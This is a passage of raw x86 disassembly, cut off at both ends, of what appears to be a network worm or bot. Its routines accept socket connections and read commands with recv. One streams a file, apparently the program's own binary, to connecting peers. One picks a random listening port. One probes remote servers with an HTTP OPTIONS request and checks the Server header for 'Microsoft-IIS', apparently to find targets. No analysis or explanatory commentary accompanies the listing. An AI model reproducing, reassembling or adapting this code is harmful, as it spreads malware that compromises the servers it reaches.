		cmp	eax, [ebp+var_194]
		jnz	short loc_41278A
		push	offset dword_418620
		mov	eax, [ebp+var_190]
		lea	eax, [ebp+eax+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_41278C
; ---------------------------------------------------------------------------


loc_41278A:				; CODE XREF: sub_412720+4Fj
		jmp	short loc_412741
; ---------------------------------------------------------------------------


loc_41278C:				; CODE XREF: sub_412720+68j
		push	17Ch
		push	offset dword_41CA18
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	17Ch
		lea	eax, [ebp+var_18C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_412720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127D0	proc near		; CODE XREF: sub_412A3A+14Dp
					; sub_412BC9+133p ...

var_24C		= byte ptr -24Ch
var_22C		= byte ptr -22Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		cmp	dword_41EBFC, 0
		jnz	loc_4128A0
		mov	dword_41EBFC, 1
		and	[ebp+var_20C], 0
		jmp	short loc_412806
; ---------------------------------------------------------------------------


loc_4127F9:				; CODE XREF: sub_4127D0:loc_41289Bj
		mov	eax, [ebp+var_20C]
		inc	eax
		mov	[ebp+var_20C], eax


loc_412806:				; CODE XREF: sub_4127D0+27j
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		cmp	off_41DB20[eax], 0
		jz	loc_4128A0
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41DB20[eax]
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41CBA0[eax]
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41289B
		mov	dword_41EC00, 1
		jmp	short loc_4128A0
; ---------------------------------------------------------------------------


loc_41289B:				; CODE XREF: sub_4127D0+BDj
		jmp	loc_4127F9
; ---------------------------------------------------------------------------


loc_4128A0:				; CODE XREF: sub_4127D0+10j
					; sub_4127D0+46j ...
		cmp	dword_41EC00, 0
		jz	short loc_4128AE
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128AE:				; CODE XREF: sub_4127D0+D7j
		push	offset aRb	; "rb"
		push	offset dword_41ED20
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4128CC
		xor	eax, eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128CC:				; CODE XREF: sub_4127D0+F6j
		and	[ebp+var_4], 0


loc_4128D0:				; CODE XREF: sub_4127D0+145j
		push	[ebp+var_8]
		push	200h
		push	1
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412900
		push	[ebp+var_8]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_412900:				; CODE XREF: sub_4127D0+120j
		push	[ebp+var_4]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	short loc_4128D0
; ---------------------------------------------------------------------------

locret_412917:				; CODE XREF: sub_4127D0+DCj
					; sub_4127D0+FAj ...
		leave
		retn
sub_4127D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412919	proc near		; CODE XREF: sub_412BC9+E8p
					; sub_412D56+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412938
		xor	eax, eax
		jmp	short locret_41294C
; ---------------------------------------------------------------------------


loc_412938:				; CODE XREF: sub_412919+19j
		push	0
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	eax, [ebp+var_4]

locret_41294C:				; CODE XREF: sub_412919+1Dj
		leave
		retn
sub_412919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41294E	proc near		; CODE XREF: sub_412BC9+115p
					; sub_412D56+3Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_412964
; ---------------------------------------------------------------------------


loc_41295D:				; CODE XREF: sub_41294E:loc_4129C3j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_412964:				; CODE XREF: sub_41294E+Dj
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CDB6[eax], 0
		jz	short loc_4129C5
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		mov	eax, dword_41CDAE[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4129C3
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		mov	[ebp+var_4], eax
		push	3Ah
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CD88
		push	eax
		push	[ebp+arg_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 13h
		push	eax
		call	sub_4105FB
		pop	ecx
		jmp	short loc_4129C5
; ---------------------------------------------------------------------------


loc_4129C3:				; CODE XREF: sub_41294E+34j
		jmp	short loc_41295D
; ---------------------------------------------------------------------------


loc_4129C5:				; CODE XREF: sub_41294E+23j
					; sub_41294E+73j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41294E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129CA	proc near		; CODE XREF: sub_412A3A+16Bp
					; sub_412BC9+15Ap ...

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 2Ah
		push	eax
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412A11
		push	offset aUnknown	; "unknown"
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_412A11:				; CODE XREF: sub_4129CA+32j
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_104]
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset dword_41A1D0
		push	offset dword_41DB90
		call	sub_40D4AB
		add	esp, 18h
		leave
		retn
sub_4129CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A3A	proc near		; CODE XREF: sub_41331E+148p

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_235		= byte ptr -235h
var_222		= dword	ptr -222h
var_20C		= dword	ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	[ebp+arg_4]
		call	sub_412720
		pop	ecx
		push	3Ah
		push	[ebp+arg_0]
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_235]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_20C+3]
		mov	[ebp+var_8], eax
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		and	[ebp+var_4], 0
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------


loc_412A9F:				; CODE XREF: sub_412A3A+8Aj
					; sub_412A3A:loc_412B7Fj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412AA6:				; CODE XREF: sub_412A3A+63j
		cmp	[ebp+var_4], 3Ch
		jnz	short loc_412AB1
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AB1:				; CODE XREF: sub_412A3A+70j
		push	3E8h
		push	[ebp+arg_4]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412AC6
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412AC6:				; CODE XREF: sub_412A3A+88j
		push	200h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0FFFFFFFFh
		jnz	short loc_412AED
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AED:				; CODE XREF: sub_412A3A+ACj
		cmp	[ebp+var_24C], 0
		jz	short loc_412B69
		and	[ebp+var_250], 0
		jmp	short loc_412B0C
; ---------------------------------------------------------------------------


loc_412AFF:				; CODE XREF: sub_412A3A:loc_412B34j
		mov	eax, [ebp+var_250]
		inc	eax
		mov	[ebp+var_250], eax


loc_412B0C:				; CODE XREF: sub_412A3A+C3j
		mov	eax, [ebp+var_250]
		cmp	eax, [ebp+var_24C]
		jnb	short loc_412B36
		mov	eax, [ebp+var_250]
		mov	eax, [ebp+eax+var_20C]
		cmp	eax, [ebp+var_222]
		jnz	short loc_412B34
		jmp	loc_412BC5
; ---------------------------------------------------------------------------


loc_412B34:				; CODE XREF: sub_412A3A+F3j
		jmp	short loc_412AFF
; ---------------------------------------------------------------------------


loc_412B36:				; CODE XREF: sub_412A3A+DEj
		push	3
		mov	eax, [ebp+var_24C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	200h
		push	0
		push	[ebp+var_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_412B7F
; ---------------------------------------------------------------------------


loc_412B69:				; CODE XREF: sub_412A3A+BAj
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_412B7F:				; CODE XREF: sub_412A3A+12Dj
		jmp	loc_412A9F
; ---------------------------------------------------------------------------


loc_412B84:				; CODE XREF: sub_412A3A:loc_412BC5j
		push	[ebp+arg_4]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412B93
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412B93:				; CODE XREF: sub_412A3A+155j
		push	offset dword_41CD1C
		push	[ebp+arg_4]
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_0]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412BC5:				; CODE XREF: sub_412A3A+F5j
		jmp	short loc_412B84
; ---------------------------------------------------------------------------

locret_412BC7:				; CODE XREF: sub_412A3A+72j
					; sub_412A3A+AEj ...
		leave
		retn
sub_412A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BC9	proc near		; CODE XREF: sub_41331E+165p

var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= byte ptr -84Ch
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 85Ch
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404FE7
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_854], 3Ch
		and	[ebp+var_850], 0
		and	[ebp+var_810], 0


loc_412BFD:				; CODE XREF: sub_412BC9+A9j
		and	[ebp+var_85C], 0
		jmp	short loc_412C13
; ---------------------------------------------------------------------------


loc_412C06:				; CODE XREF: sub_412BC9:loc_412C35j
		mov	eax, [ebp+var_85C]
		inc	eax
		mov	[ebp+var_85C], eax


loc_412C13:				; CODE XREF: sub_412BC9+3Bj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnb	short loc_412C37
		mov	eax, [ebp+var_85C]
		mov	eax, [ebp+eax*4+var_80C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_412C35
		jmp	short loc_412C37
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412BC9+68j
		jmp	short loc_412C06
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412BC9+56j
					; sub_412BC9+6Aj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnz	short loc_412C6E
		cmp	[ebp+var_810], 200h
		jnb	short loc_412C6E
		mov	eax, [ebp+var_85C]
		mov	ecx, [ebp+var_8]
		mov	[ebp+eax*4+var_80C], ecx
		mov	eax, [ebp+var_810]
		inc	eax
		mov	[ebp+var_810], eax


loc_412C6E:				; CODE XREF: sub_412BC9+7Aj
					; sub_412BC9+86j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_412BFD
		lea	eax, [ebp+var_854]
		push	eax
		push	0
		lea	eax, [ebp+var_810]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_412CA5
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	locret_412D4A
; ---------------------------------------------------------------------------


loc_412CA5:				; CODE XREF: sub_412BC9+CCj
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_858], eax
		cmp	[ebp+var_858], 0
		jnz	short loc_412CD1
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CD1:				; CODE XREF: sub_412BC9+FBj
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_858]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412CF9
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CF9:				; CODE XREF: sub_412BC9+123j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412D11
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412D11:				; CODE XREF: sub_412BC9+13Bj
		push	offset dword_41CD20
		push	[ebp+var_8]
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

locret_412D4A:				; CODE XREF: sub_412BC9+D7j
					; sub_412BC9+106j ...
		leave
		retn
sub_412BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_41331E:loc_413420p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_41EC04
		pop	ebp
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D56	proc near		; DATA XREF: sub_412E04+CAo

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jnz	short loc_412D8A
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412D8A:				; CODE XREF: sub_412D56+25j
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_48]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412DAE
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DAE:				; CODE XREF: sub_412D56+49j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412DC8
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DC8:				; CODE XREF: sub_412D56+63j
		push	offset dword_41CD24
		push	[ebp+var_8]
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_412E00:				; CODE XREF: sub_412D56+32j
					; sub_412D56+56j ...
		leave
		retn	4
sub_412D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E04	proc near		; DATA XREF: sub_412F07+B0o

var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AA		= byte ptr -1AAh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B8h
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412E59
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_412F03
; ---------------------------------------------------------------------------


loc_412E59:				; CODE XREF: sub_412E04+40j
		lea	eax, [ebp+var_1B0]
		push	eax
		mov	eax, [ebp+var_1B4]
		push	dword ptr [eax]
		push	offset dword_41CD28
		lea	eax, [ebp+var_1AA]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset dword_41EC04
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_412E8F:				; CODE XREF: sub_412E04+B7j
					; sub_412E04:loc_412EEAj
		mov	eax, [ebp+var_1B4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_412E9D
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412E9D:				; CODE XREF: sub_412E04+95j
		push	3E8h
		push	[ebp+var_4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1B8], eax
		cmp	[ebp+var_1B8], 0FFFFFFFFh
		jnz	short loc_412EBD
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EBD:				; CODE XREF: sub_412E04+B5j
		cmp	[ebp+var_1B8], 0
		jnz	short loc_412EC8
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412EC8:				; CODE XREF: sub_412E04+C0j
		push	[ebp+var_1B8]
		push	offset sub_412D56
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412EEA
		push	[ebp+var_1B8]
		call	sub_4053B1
		pop	ecx


loc_412EEA:				; CODE XREF: sub_412E04+D8j
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EEC:				; CODE XREF: sub_412E04+97j
					; sub_412E04+C2j
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_412F03:				; CODE XREF: sub_412E04+50j
		leave
		retn	4
sub_412E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F07	proc near		; CODE XREF: sub_40A9CF+F6Ep
					; sub_41349C+2C7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_412F26
		jmp	locret_412FC4
; ---------------------------------------------------------------------------


loc_412F26:				; CODE XREF: sub_412F07+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_412F3A
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_412F4E
; ---------------------------------------------------------------------------


loc_412F3A:				; CODE XREF: sub_412F07+23j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax


loc_412F4E:				; CODE XREF: sub_412F07+31j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_412F63
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_412F77


loc_412F63:				; CODE XREF: sub_412F07+51j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_412F77:				; CODE XREF: sub_412F07+5Aj
		push	0Ah
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	[ebp+var_4]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	offset dword_41CD60
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_412E04
		call	sub_4095A4
		add	esp, 14h

locret_412FC4:				; CODE XREF: sub_412F07+1Aj
		leave
		retn
sub_412F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FC6	proc near		; CODE XREF: sub_4167F1+DAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD1:				; CODE XREF: sub_412FC6:loc_413088j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412FD8:				; CODE XREF: sub_412FC6+9j
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	off_41CDB6[eax], 0
		jz	locret_41308D
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ecx, dword_41CDAE[ecx]
		and	ecx, 0FFh
		mov	eax, off_41CDB6[eax]
		sub	eax, ecx
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	off_41CDB6[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		and	dword_41CDB2[eax], 0


loc_413024:				; CODE XREF: sub_412FC6+7Ej
					; sub_412FC6+BEj
		call	sub_410422
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	dword_41CDAE[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	dword_41CDAE[eax], 0
		jnz	short loc_413046
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413046:				; CODE XREF: sub_412FC6+7Cj
		and	[ebp+var_8], 0
		jmp	short loc_413053
; ---------------------------------------------------------------------------


loc_41304C:				; CODE XREF: sub_412FC6:loc_413086j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_413053:				; CODE XREF: sub_412FC6+84j
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CDB6[eax], 0
		jz	short loc_413088
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	short loc_413086
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_8]
		imul	ecx, 3Ah
		mov	eax, dword_41CDAE[eax]
		cmp	eax, dword_41CDAE[ecx]
		jnz	short loc_413086
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413086:				; CODE XREF: sub_412FC6+A2j
					; sub_412FC6+BCj
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413088:				; CODE XREF: sub_412FC6+9Aj
		jmp	loc_412FD1
; ---------------------------------------------------------------------------

locret_41308D:				; CODE XREF: sub_412FC6+1Fj
		leave
		retn
sub_412FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308F	proc near		; CODE XREF: sub_41331E+72p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130C4
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130C4:				; CODE XREF: sub_41308F+2Cj
		push	0
		push	800h
		lea	eax, [ebp+var_810]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4130F3
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4130F3
		cmp	[ebp+var_8], 800h
		jnz	short loc_4130FA


loc_4130F3:				; CODE XREF: sub_41308F+53j
					; sub_41308F+59j
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130FA:				; CODE XREF: sub_41308F+62j
		mov	eax, [ebp+var_8]
		and	[ebp+eax+var_810], 0
		and	[ebp+var_4], 0
		push	offset aServer	; "Server:"
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41312C
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_41308F+94j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+var_10]
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413150
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413150:				; CODE XREF: sub_41308F+B8j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413173
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413173:				; CODE XREF: sub_41308F+DBj
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41323C
		and	[ebp+var_818], 0
